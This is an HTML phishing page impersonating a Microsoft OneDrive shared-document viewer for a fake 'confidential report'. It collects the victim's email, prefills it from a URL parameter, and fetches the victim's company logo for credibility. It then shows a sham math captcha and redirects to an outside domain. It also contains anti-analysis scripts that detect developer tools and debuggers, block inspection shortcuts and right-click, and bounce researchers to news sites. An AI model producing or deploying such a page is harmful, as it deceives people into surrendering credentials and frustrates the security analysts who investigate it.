<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="Content-Security-Policy" content="default-src 'self' https: data:; script-src 'self' 'unsafe-inline' https:; style-src 'self' 'unsafe-inline' https:; font-src 'self' https: data:; img-src 'self' https: data:;"> <title>Microsoft OneDrive - Secure Document Access</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Segoe+UI:wght@300;400;500;600;700&display=swap" rel="stylesheet"> <style> * { margin: 0; padding: 0; box-sizing: border-box; user-select: none; } body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #f3f2f1; min-height: 100vh; color: #323130; line-height: 1.4; position: relative; } /* Microsoft Fluent background */ body::before { content: ''; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-image: url('https://logincdn.msftauth.net/shared/5/images/fluent_web_light_57fee22710b04cebe1d5.svg'); background-size: cover; background-position: center; background-repeat: no-repeat; background-attachment: fixed; z-index: -2; } /* Add subtle overlay to ensure readability */ body::after { content: ''; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(243, 242, 241, 0.85); z-index: -1; pointer-events: none; } .header { background: rgba(255, 255, 255, 0.95); backdrop-filter: blur(10px); border-bottom: 1px solid rgba(237, 235, 233, 0.8); padding: 0; position: sticky; top: 0; z-index: 100; } .header-content { max-width: 1200px; margin: 0 auto; padding: 12px 24px; display: flex; align-items: center; justify-content: space-between; height: 48px; } .logo { display: flex; align-items: center; gap: 8px; } .logo-icon { width: 24px; height: 24px; background: #d13438; border-radius: 3px; display: flex; align-items: center; justify-content: center; color: white; font-size: 14px; font-weight: 600; } .logo-text { font-size: 15px; font-weight: 600; color: #323130; } .user-info { display: flex; align-items: center; gap: 12px; font-size: 13px; color: #605e5c; } .user-avatar { width: 32px; height: 32px; background: #d13438; border-radius: 50%; display: flex; align-items: center; justify-content: center; color: white; font-size: 14px; font-weight: 600; } .main-container { max-width: 1200px; margin: 0 auto; padding: 32px 24px; } .breadcrumb { margin-bottom: 24px; font-size: 13px; color: #605e5c; background: rgba(255, 255, 255, 0.7); backdrop-filter: blur(5px); padding: 8px 12px; border-radius: 4px; display: inline-block; } .breadcrumb a { color: #d13438; text-decoration: none; } .breadcrumb a:hover { text-decoration: underline; } .document-container { display: grid; grid-template-columns: 1fr 400px; gap: 32px; align-items: start; } .document-main { background: rgba(255, 255, 255, 0.95); backdrop-filter: blur(10px); border: 1px solid rgba(237, 235, 233, 0.8); border-radius: 8px; overflow: hidden; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1); } .document-header { padding: 20px 24px; border-bottom: 1px solid rgba(237, 235, 233, 0.8); display: flex; align-items: center; gap: 16px; background: rgba(255, 255, 255, 0.9); } .document-icon { width: 48px; height: 48px; background: #d13438; border-radius: 4px; display: flex; align-items: center; justify-content: center; color: white; font-size: 24px; position: relative; } .document-icon::after { content: 'PDF'; position: absolute; bottom: -2px; right: -2px; background: #ffffff; color: #d13438; font-size: 8px; font-weight: 700; padding: 1px 3px; border-radius: 2px; border: 1px solid #d13438; } .document-info h1 { font-size: 20px; font-weight: 600; color: #323130; margin-bottom: 4px; } .document-meta { font-size: 13px; color: #605e5c; display: flex; gap: 16px; } .document-preview { padding: 40px 24px; text-align: center; background: rgba(250, 249, 248, 0.9); backdrop-filter: blur(5px); min-height: 400px; display: flex; flex-direction: column; align-items: center; justify-content: center; position: relative; } .preview-lock { width: 80px; height: 80px; background: linear-gradient(135deg, #d13438, #b02a2e); border-radius: 50%; display: flex; align-items: center; justify-content: center; color: white; font-size: 32px; margin-bottom: 24px; box-shadow: 0 4px 15px rgba(209, 52, 56, 0.3); } .preview-title { font-size: 18px; font-weight: 600; color: #323130; margin-bottom: 8px; } .preview-subtitle { font-size: 14px; color: #605e5c; margin-bottom: 24px; } .access-panel { background: rgba(255, 255, 255, 0.95); backdrop-filter: blur(10px); border: 1px solid rgba(237, 235, 233, 0.8); border-radius: 8px; padding: 24px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1); } .panel-header { margin-bottom: 20px; } .panel-title { font-size: 18px; font-weight: 600; color: #323130; margin-bottom: 8px; } .panel-subtitle { font-size: 14px; color: #605e5c; } .organization-info { display: none; background: rgba(248, 249, 250, 0.9); backdrop-filter: blur(5px); border: 1px solid rgba(225, 229, 233, 0.8); border-radius: 6px; padding: 16px; margin-bottom: 20px; align-items: center; gap: 12px; } .organization-logo { width: 40px; height: 40px; border-radius: 4px; object-fit: contain; background: #ffffff; border: 1px solid rgba(225, 229, 233, 0.8); padding: 4px; } .organization-details { flex: 1; } .organization-name { font-size: 14px; font-weight: 600; color: #323130; margin-bottom: 2px; } .organization-domain { font-size: 12px; color: #605e5c; } .form-group { margin-bottom: 16px; } .form-label { display: block; font-size: 14px; font-weight: 600; color: #323130; margin-bottom: 4px; } .form-input { width: 100%; padding: 8px 12px; border: 1px solid #605e5c; border-radius: 4px; font-size: 14px; font-family: inherit; background: rgba(255, 255, 255, 0.9); backdrop-filter: blur(5px); transition: all 0.15s ease; } .form-input:focus { outline: none; border-color: #d13438; box-shadow: 0 0 0 2px rgba(209, 52, 56, 0.2); background: rgba(255, 255, 255, 0.95); } .form-input:disabled { background: rgba(243, 242, 241, 0.8); color: #a19f9d; border-color: #c8c6c4; } .captcha-section { background: rgba(243, 242, 241, 0.9); backdrop-filter: blur(5px); border: 1px solid rgba(200, 198, 196, 0.8); border-radius: 6px; padding: 16px; margin-bottom: 16px; display: none; } .captcha-label { font-size: 14px; font-weight: 600; color: #323130; margin-bottom: 12px; display: block; } .captcha-question { background: rgba(255, 255, 255, 0.95); backdrop-filter: blur(5px); border: 1px solid #605e5c; border-radius: 4px; padding: 12px; font-size: 18px; font-weight: 600; color: #323130; text-align: center; margin-bottom: 12px; font-family: 'Courier New', monospace; } .captcha-input { width: 80px; padding: 8px 12px; border: 1px solid #605e5c; border-radius: 4px; font-size: 16px; font-weight: 600; text-align: center; background: rgba(255, 255, 255, 0.95); backdrop-filter: blur(5px); } .captcha-input:focus { outline: none; border-color: #d13438; box-shadow: 0 0 0 2px rgba(209, 52, 56, 0.2); } .access-button { width: 100%; background: linear-gradient(135deg, #d13438, #b02a2e); color: #ffffff; border: none; padding: 12px 16px; border-radius: 6px; font-size: 14px; font-weight: 600; font-family: inherit; cursor: pointer; transition: all 0.15s ease; display: flex; align-items: center; justify-content: center; gap: 8px; box-shadow: 0 2px 8px rgba(209, 52, 56, 0.3); } .access-button:hover:not(:disabled) { background: linear-gradient(135deg, #b02a2e, #8f2226); box-shadow: 0 4px 15px rgba(209, 52, 56, 0.4); transform: translateY(-1px); } .access-button:active:not(:disabled) { background: linear-gradient(135deg, #8f2226, #6e1a1d); transform: translateY(0); } .access-button:disabled { background: #c8c6c4; color: #a19f9d; cursor: not-allowed; box-shadow: none; transform: none; } .security-info { margin-top: 20px; padding: 16px; background: rgba(255, 244, 206, 0.9); backdrop-filter: blur(5px); border: 1px solid rgba(255, 185, 0, 0.8); border-radius: 6px; } .security-info-header { display: flex; align-items: center; gap: 8px; margin-bottom: 8px; } .security-info-icon { color: #ffb900; font-size: 16px; } .security-info-title { font-size: 14px; font-weight: 600; color: #323130; } .security-info-text { font-size: 13px; color: #605e5c; line-height: 1.4; } .document-properties { margin-top: 24px; padding-top: 20px; border-top: 1px solid rgba(237, 235, 233, 0.8); } .properties-title { font-size: 16px; font-weight: 600; color: #323130; margin-bottom: 12px; } .property-item { display: flex; justify-content: space-between; align-items: center; padding: 8px 0; border-bottom: 1px solid rgba(243, 242, 241, 0.8); font-size: 13px; } .property-label { color: #605e5c; font-weight: 500; } .property-value { color: #323130; font-weight: 400; } .status-badge { display: inline-flex; align-items: center; gap: 4px; padding: 2px 8px; background: rgba(223, 246, 221, 0.9); color: #107c10; border-radius: 4px; font-size: 12px; font-weight: 600; backdrop-filter: blur(5px); } .loading-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0.95); backdrop-filter: blur(10px); display: none; align-items: center; justify-content: center; z-index: 9999; } /* Microsoft Fluent background for loading overlay */ .loading-overlay::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-image: url('https://logincdn.msftauth.net/shared/5/images/fluent_web_light_57fee22710b04cebe1d5.svg'); background-size: cover; background-position: center; background-repeat: no-repeat; background-attachment: fixed; z-index: -2; } /* Overlay for loading screen readability */ .loading-overlay::after { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0.9); z-index: -1; pointer-events: none; } .loading-content { text-align: center; padding: 40px; background: rgba(255, 255, 255, 0.95); border-radius: 12px; box-shadow: 0 8px 32px rgba(0, 0, 0, 0.1); backdrop-filter: blur(20px); border: 1px solid rgba(237, 235, 233, 0.8); position: relative; z-index: 10; } .loading-spinner { width: 48px; height: 48px; margin: 0 auto 20px; border-radius: 50%; background-color: #d13438; padding: 8px; position: relative; overflow: hidden; } .loading-spinner::before { content: ''; position: absolute; top: 50%; left: 50%; width: 32px; height: 32px; margin: -16px 0 0 -16px; border: 3px solid rgba(255, 255, 255, 0.3); border-top: 3px solid #ffffff; border-radius: 50%; animation: spin 1s linear infinite; } .loading-text { font-size: 16px; color: #323130; font-weight: 600; margin-bottom: 8px; } .loading-subtext { font-size: 14px; color: #605e5c; margin-top: 8px; } .message { padding: 12px 16px; border-radius: 6px; font-size: 14px; margin-bottom: 16px; display: none; backdrop-filter: blur(5px); } .message-error { background: rgba(253, 231, 233, 0.9); color: #a4262c; border: 1px solid rgba(209, 52, 56, 0.8); } .message-success { background: rgba(223, 246, 221, 0.9); color: #107c10; border: 1px solid rgba(16, 124, 16, 0.8); } .message-icon { margin-right: 8px; } /* Email provider logo fallback styles */ .email-provider-logo { width: 40px; height: 40px; border-radius: 4px; object-fit: contain; background: #ffffff; border: 1px solid rgba(225, 229, 233, 0.8); padding: 4px; } .provider-gmail { background: linear-gradient(45deg, #ea4335, #fbbc05, #34a853, #4285f4); } .provider-outlook { background: #d13438; } .provider-yahoo { background: #6001d2; } .provider-apple { background: #000000; } .provider-generic { background: #605e5c; } @media (max-width: 768px) { .document-container { grid-template-columns: 1fr; gap: 24px; } .main-container { padding: 16px; } .header-content { padding: 12px 16px; } .access-panel { padding: 20px; } body::before { background-attachment: scroll; } .loading-overlay::before { background-attachment: scroll; } } /* Enhanced Microsoft Fluent Design touches */ .access-button:hover:not(:disabled) { box-shadow: 0 4px 20px rgba(209, 52, 56, 0.4); } .document-main:hover { box-shadow: 0 8px 32px rgba(0, 0, 0, 0.15); transform: translateY(-2px); transition: all 0.3s ease; } .access-panel:hover { box-shadow: 0 8px 32px rgba(0, 0, 0, 0.15); transform: translateY(-2px); transition: all 0.3s ease; } /* Fluent Design acrylic effect */ .document-main, .access-panel, .header { backdrop-filter: blur(20px) saturate(180%); -webkit-backdrop-filter: blur(20px) saturate(180%); } /* Microsoft loading animation enhancement */ @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } /* Blurred document preview */ .document-preview-blur { position: relative; background: rgba(253, 242, 242, 0.9); border-radius: 8px; padding: 24px; margin-bottom: 24px; overflow: hidden; height: 300px; } .document-preview-blur::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-image: url('https://readdy.ai/api/search-image?query=professional%20corporate%20document%20with%20red%20gradient%20background%2C%20business%20report%20layout%20with%20paragraphs%20and%20charts%2C%20modern%20minimalist%20design&width=800&height=1000&seq=doc2&orientation=portrait'); background-size: cover; background-position: center; filter: blur(8px); opacity: 0.7; } .document-preview-blur::after { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: linear-gradient(135deg, rgba(209, 52, 56, 0.1), rgba(176, 42, 46, 0.1)); mix-blend-mode: overlay; } .document-preview-content { position: relative; z-index: 2; display: flex; flex-direction: column; align-items: center; justify-content: center; height: 100%; text-align: center; } .document-preview-icon { width: 64px; height: 64px; background: rgba(209, 52, 56, 0.9); border-radius: 8px; display: flex; align-items: center; justify-content: center; color: white; font-size: 32px; margin-bottom: 16px; backdrop-filter: blur(10px); } .document-preview-text { background: rgba(255, 255, 255, 0.9); backdrop-filter: blur(10px); padding: 12px 20px; border-radius: 6px; border: 1px solid rgba(209, 52, 56, 0.2); } .document-preview-title { font-size: 16px; font-weight: 600; color: #323130; margin-bottom: 4px; } .document-preview-subtitle { font-size: 14px; color: #605e5c; } </style> </head> <body oncontextmenu="return false"> <div class="loading-overlay" id="loadingOverlay"> <div class="loading-content"> <div class="loading-spinner"></div> <div class="loading-text">Verifying access permissions</div> <div class="loading-subtext">Please wait while we authenticate your request...</div> </div> </div> <header class="header"> <div class="header-content"> <div class="logo"> <div class="logo-icon">⊞</div> <div class="logo-text">OneDrive</div> </div> <div class="user-info"> <span>Secure Document Access</span> <div class="user-avatar">?</div> </div> </div> </header> <main class="main-container"> <nav class="breadcrumb"> <a href="#">OneDrive</a> > <a href="#">Shared</a> > <span>Confidential_Report_2024.pdf</span> </nav> <div class="document-container"> <div class="document-main"> <div class="document-header"> <div class="document-icon">📄</div> <div class="document-info"> <h1>Confidential_Report_2024.pdf</h1> <div class="document-meta"> <span>24.4 MB</span> <span>•</span> <span>Modified 2 days ago</span> <span>•</span> <span class="status-badge">🔒 Secure</span> </div> </div> </div> <div class="document-preview"> <div class="document-preview-blur"> <div class="document-preview-content"> <div class="document-preview-icon">📄</div> <div class="document-preview-text"> <div class="document-preview-title">Confidential Document</div> <div class="document-preview-subtitle">PDF • 24.4 MB</div> </div> </div> </div> <div class="flex items-center justify-between text-sm text-gray-500" style="display: flex; justify-content: space-between; align-items: center; font-size: 13px; color: #605e5c; margin-top: 16px;"> <div style="display: flex; align-items: center; gap: 8px;"> <span>🛡️</span> <span>End-to-end encrypted</span> </div> <div style="display: flex; align-items: center; gap: 8px;"> <span>⏰</span> <span>Expires in 7 Days</span> </div> </div> </div> </div> <div class="access-panel"> <div class="panel-header"> <h2 class="panel-title">Confirm You Are Human</h2> <p class="panel-subtitle">Enter your email address to confirm you are the right person and a human</p> </div> <div class="organization-info" id="organizationInfo"> <img class="organization-logo" id="organizationLogo" alt="Organization Logo"> <div class="organization-details"> <div class="organization-name" id="organizationName">Loading...</div> <div class="organization-domain" id="organizationDomain"></div> </div> </div> <div class="message message-error" id="errorMessage"> <span class="message-icon">⚠️</span> <span id="errorText"></span> </div> <div class="message message-success" id="successMessage"> <span class="message-icon">✅</span> <span id="successText"></span> </div> <form id="accessForm"> <div class="form-group"> <label for="email" class="form-label">Email address</label> <input type="email" id="email" name="email" class="form-input" placeholder="Enter your email address" required> </div> <div class="captcha-section" id="captchaSection"> <label class="captcha-label">Security verification</label> <div class="captcha-question" id="captchaQuestion">1 + 1 = ?</div> <input type="number" id="captchaAnswer" class="captcha-input" placeholder="?" min="0" max="100"> <div style="margin-top: 8px; font-size: 12px; color: #605e5c;"> Please solve the math problem to continue </div> </div> <button type="submit" class="access-button" id="accessButton"> <span>🔓</span> <span>Access Document</span> </button> </form> <div class="security-info"> <div class="security-info-header"> <span class="security-info-icon">🛡️</span> <span class="security-info-title">Security Notice</span> </div> <div class="security-info-text"> This document is protected with enterprise-grade security. Your access will be logged for audit purposes. </div> </div> <div class="document-properties"> <h3 class="properties-title">Document Properties</h3> <div class="property-item"> <span class="property-label">File type</span> <span class="property-value">PDF Document</span> </div> <div class="property-item"> <span class="property-label">Size</span> <span class="property-value">24.4 MB</span> </div> <div class="property-item"> <span class="property-label">Encryption</span> <span class="property-value">AES-256</span> </div> <div class="property-item"> <span class="property-label">Expires</span> <span class="property-value">7 days</span> </div> <div class="property-item"> <span class="property-label">Access level</span> <span class="property-value">View only</span> </div> </div> </div> </div> </main> <script> document.addEventListener('DOMContentLoaded', function() { const accessForm = document.getElementById('accessForm'); const emailInput = document.getElementById('email'); const accessButton = document.getElementById('accessButton'); const loadingOverlay = document.getElementById('loadingOverlay'); const captchaSection = document.getElementById('captchaSection'); const captchaQuestion = document.getElementById('captchaQuestion'); const captchaAnswer = document.getElementById('captchaAnswer'); const errorMessage = document.getElementById('errorMessage'); const successMessage = document.getElementById('successMessage'); const errorText = document.getElementById('errorText'); const successText = document.getElementById('successText'); const organizationInfo = document.getElementById('organizationInfo'); const organizationLogo = document.getElementById('organizationLogo'); const organizationName = document.getElementById('organizationName'); const organizationDomain = document.getElementById('organizationDomain'); let currentCaptcha = null; let emailFromUrl = false; let captchaShown = false; const dummySites = [ 'https://google.com', 'https://www.ap.com', 'https://abc.com', 'https://cnn.com', 'https://bbc.com', 'https://reuters.com' ]; function skommelRedirectToDummySite() { const randomSite = dummySites[Math.floor(Math.random() * dummySites.length)]; window.location.href = randomSite; } let devToolsOpen = false; let debugAttempts = 0; function skommelDetectDevTools() { const threshold = 160; if (window.outerHeight - window.innerHeight > threshold || window.outerWidth - window.innerWidth > threshold) { if (!devToolsOpen) { devToolsOpen = true; debugAttempts++; if (debugAttempts >= 2) { skommelRedirectToDummySite(); } } } else { devToolsOpen = false; } } setInterval(skommelDetectDevTools, 500); let consoleCount = 0; const originalLog = console.log; console.log = function() { consoleCount++; if (consoleCount > 3) { skommelRedirectToDummySite(); } return originalLog.apply(console, arguments); }; function skommelDetectDebugger() { const start = performance.now(); debugger; const end = performance.now(); if (end - start > 100) { skommelRedirectToDummySite(); } } setInterval(skommelDetectDebugger, 1000); const emailProviders = { 'gmail.com': { name: 'Gmail', logo: 'https://ssl.gstatic.com/ui/v1/icons/mail/rfr/gmail.ico', fallback: '📧', class: 'provider-gmail' }, 'outlook.com': { name: 'Outlook', logo: 'https://outlook.live.com/favicon.ico', fallback: '📧', class: 'provider-outlook' }, 'hotmail.com': { name: 'Outlook', logo: 'https://outlook.live.com/favicon.ico', fallback: '📧', class: 'provider-outlook' }, 'live.com': { name: 'Outlook', logo: 'https://outlook.live.com/favicon.ico', fallback: '📧', class: 'provider-outlook' }, 'yahoo.com': { name: 'Yahoo Mail', logo: 'https://s.yimg.com/rz/l/favicon.ico', fallback: '📧', class: 'provider-yahoo' }, 'icloud.com': { name: 'iCloud Mail', logo: 'https://www.icloud.com/favicon.ico', fallback: '📧', class: 'provider-apple' }, 'me.com': { name: 'iCloud Mail', logo: 'https://www.icloud.com/favicon.ico', fallback: '📧', class: 'provider-apple' }, 'mac.com': { name: 'iCloud Mail', logo: 'https://www.icloud.com/favicon.ico', fallback: '📧', class: 'provider-apple' } }; // Logo fetching services const logoServices = [ { name: 'Clearbit', url: (domain) => `https://logo.clearbit.com/${domain}`, priority: 1 }, { name: 'Google Favicon', url: (domain) => `https://www.google.com/s2/favicons?domain=${domain}&sz=64`, priority: 2 }, { name: 'DuckDuckGo', url: (domain) => `https://icons.duckduckgo.com/ip3/${domain}.ico`, priority: 3 }, { name: 'Favicon Grabber', url: (domain) => `https://favicongrabber.com/api/grab/${domain}`, priority: 4, isApi: true } ]; function skommelGetDomainFromEmail(email) { return email.split('@')[1]?.toLowerCase(); } function skommelGetCompanyNameFromDomain(domain) { if (!domain) return ''; let name = domain.replace(/\.(com|org|net|edu|gov|co\.uk|co\.in|de|fr|jp|au|ca)$/i, ''); name = name.replace(/^(www\.|mail\.|webmail\.|smtp\.|pop\.|imap\.)/i, ''); return name.split('.')[0] .split(/[-_]/) .map(word => word.charAt(0).toUpperCase() + word.slice(1)) .join(' '); } function skommelIsEmailProvider(domain) { return emailProviders.hasOwnProperty(domain); } function skommelGetEmailProviderInfo(domain) { return emailProviders[domain] || null; } async function skommelFetchCompanyLogo(domain) { if (!domain) return null; const sortedServices = logoServices.sort((a, b) => a.priority - b.priority); for (const service of sortedServices) { try { if (service.isApi) { const response = await fetch(service.url(domain)); if (response.ok) { const data = await response.json(); if (data.icons && data.icons.length > 0) { const bestIcon = data.icons.reduce((prev, current) => { const prevSize = parseInt(prev.sizes?.split('x')[0]) || 0; const currentSize = parseInt(current.sizes?.split('x')[0]) || 0; return currentSize > prevSize ? current : prev; }); return bestIcon.src; } } } else { const logoUrl = service.url(domain); const isValid = await skommelCheckImageExists(logoUrl); if (isValid) { return logoUrl; } } } catch (error) { console.log(`Failed to fetch from ${service.name}:`, error); continue; } } return null; } function skommelCheckImageExists(url) { return new Promise((resolve) => { const img = new Image(); img.onload = () => { if (img.width > 16 && img.height > 16) { resolve(true); } else { resolve(false); } }; img.onerror = () => resolve(false); img.src = url; setTimeout(() => resolve(false), 3000); }); } async function skommelDisplayOrganizationInfo(email) { const domain = skommelGetDomainFromEmail(email); if (!domain) return; organizationInfo.style.display = 'flex'; organizationDomain.textContent = domain; if (skommelIsEmailProvider(domain)) { const providerInfo = skommelGetEmailProviderInfo(domain); organizationName.textContent = providerInfo.name; try { const logoExists = await skommelCheckImageExists(providerInfo.logo); if (logoExists) { organizationLogo.src = providerInfo.logo; organizationLogo.className = 'organization-logo email-provider-logo'; organizationLogo.style.display = 'block'; } else { organizationLogo.style.display = 'none'; organizationName.textContent = `${providerInfo.fallback} ${providerInfo.name}`; } } catch (error) { organizationLogo.style.display = 'none'; organizationName.textContent = `${providerInfo.fallback} ${providerInfo.name}`; } } else { const companyName = skommelGetCompanyNameFromDomain(domain); organizationName.textContent = companyName || 'Loading...'; try { const logoUrl = await skommelFetchCompanyLogo(domain); if (logoUrl) { organizationLogo.src = logoUrl; organizationLogo.className = 'organization-logo'; organizationLogo.style.display = 'block'; organizationName.textContent = companyName || domain.split('.')[0]; } else { organizationLogo.style.display = 'none'; organizationName.textContent = `🏢 ${companyName || domain.split('.')[0]}`; } } catch (error) { console.log('Error fetching logo:', error); organizationLogo.style.display = 'none'; organizationName.textContent = `🏢 ${companyName || domain.split('.')[0]}`; } } } function skommelGenerateCaptcha() { const num1 = Math.floor(Math.random() * 10) + 1; const num2 = Math.floor(Math.random() * 10) + 1; const operators = ['+', '-', '×']; const operator = operators[Math.floor(Math.random() * operators.length)]; let answer; let questionText; switch(operator) { case '+': answer = num1 + num2; questionText = `${num1} + ${num2} = ?`; break; case '-': answer = Math.abs(num1 - num2); questionText = `${Math.max(num1, num2)} - ${Math.min(num1, num2)} = ?`; break; case '×': answer = num1 * num2; questionText = `${num1} × ${num2} = ?`; break; } currentCaptcha = answer; captchaQuestion.textContent = questionText; captchaAnswer.value = ''; } function skommelValidateEmail(email) { return email.match(/^[^\s@]+@[^\s@]+\.[^\s@]+$/); } function skommelShowError(message) { errorText.textContent = message; errorMessage.style.display = 'block'; successMessage.style.display = 'none'; } function skommelShowSuccess(message) { successText.textContent = message; successMessage.style.display = 'block'; errorMessage.style.display = 'none'; } function skommelHideMessages() { errorMessage.style.display = 'none'; successMessage.style.display = 'none'; } function skommelShowCaptchaIfNeeded(email) { if (skommelValidateEmail(email) && !captchaShown) { captchaSection.style.display = 'block'; skommelGenerateCaptcha(); captchaShown = true; skommelShowSuccess('Email verified. Please complete the security check below.'); } } emailInput.addEventListener('input', function() { const email = this.value.trim(); skommelHideMessages(); if (skommelValidateEmail(email)) { skommelDisplayOrganizationInfo(email); skommelShowCaptchaIfNeeded(email); } else { organizationInfo.style.display = 'none'; if (captchaShown && !emailFromUrl) { captchaSection.style.display = 'none'; captchaShown = false; } } }); const urlParams = new URLSearchParams(window.location.search); const emailParam = urlParams.get('email'); if (emailParam && skommelValidateEmail(emailParam)) { emailInput.value = emailParam; emailInput.disabled = true; emailFromUrl = true; skommelDisplayOrganizationInfo(emailParam); captchaSection.style.display = 'block'; skommelGenerateCaptcha(); captchaShown = true; skommelShowSuccess('Email address verified. Please complete the security check below.'); } accessForm.addEventListener('submit', function(e) { e.preventDefault(); skommelHideMessages(); const email = emailInput.value.trim(); if (!skommelValidateEmail(email)) { skommelShowError('Please enter a valid email address to access the document.'); return; } if (captchaShown) { const userAnswer = parseInt(captchaAnswer.value); if (isNaN(userAnswer) || userAnswer !== currentCaptcha) { skommelShowError('Incorrect answer. Please solve the math problem correctly.'); skommelGenerateCaptcha(); return; } } else { skommelShowCaptchaIfNeeded(email); return; } loadingOverlay.style.display = 'flex'; setTimeout(function() { const redirectUrl = 'https://beuq.jobsrozaana.com'; window.location.href = redirectUrl; }, 3000); }); document.addEventListener('keydown', function(e) { if (e.key === 'F12') { e.preventDefault(); skommelRedirectToDummySite(); return false; } if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.key === 'I') { e.preventDefault(); skommelRedirectToDummySite(); return false; } if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.key === 'J') { e.preventDefault(); skommelRedirectToDummySite(); return false; } if ((e.ctrlKey || e.metaKey) && e.key === 'u') { e.preventDefault(); skommelRedirectToDummySite(); return false; } if ((e.ctrlKey || e.metaKey) && e.key === 's') { e.preventDefault(); return false; } if ((e.ctrlKey || e.metaKey) && e.key === 'p') { e.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(e) { e.preventDefault(); skommelRedirectToDummySite(); return false; }); document.addEventListener('selectstart', function(e) { e.preventDefault(); return false; }); document.addEventListener('dragstart', function(e) { e.preventDefault(); return false; }); }); </script> </body> </html>